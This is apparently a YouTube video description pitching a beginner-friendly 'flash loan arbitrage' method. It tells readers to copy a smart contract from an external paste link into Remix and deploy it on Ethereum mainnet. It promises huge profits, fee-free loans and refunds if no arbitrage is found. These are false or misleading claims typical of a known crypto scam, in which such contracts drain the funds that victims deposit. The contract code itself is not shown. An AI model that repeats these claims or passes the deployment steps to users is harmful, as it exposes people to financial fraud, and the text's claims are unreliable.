Learn how to do ETH Flash Loan Arbitrage on Pancakeswap! Beginner friendly
This video and smart contract come from Youtube regular, Ox.
It shows you how anyone can get a flash loan to perform arbitrage on Pancakeswap and Uniswap .
You'll learn how to deploy a new smart contract to Etherum Mainnet via remix.
It takes him 6 minutes to do and really is that easy.
Flash loan is a programmable contract that you use for loans between two blockchain blocks. You can get fee-free loans in between two block mining time. Flash loans only cost transaction gas. Using the borrowed loan, arbitrage opportunities are evaluated and the transfer is made automatically through the smart contract. You will make huge profits with volatile price between blocks. If there isn't any opportunity at a time you will be refunded equal to your fund and gas cost.
Tools you need - 👇👇👇
MetaMask:
https://metamask.io/
Remix:
https://remix.ethereum.org/
Paste Binfile (Contract):
https://0bin.net/paste/aucChz4C#X8Ojo...
#MakeMoneyWIthCrypto #Cryptocurrency
➡️IMPORTANT NOTICE : This method is not working on testnets ! Why ?
Uniswap & Pancakeswap have a testnet versions but Flash loan arbitrage bot searches for profits on decentralized exchanges. There isn't any arbitrage opportunity on testnets. So flash loan arbitrage bot can't work on testnets.
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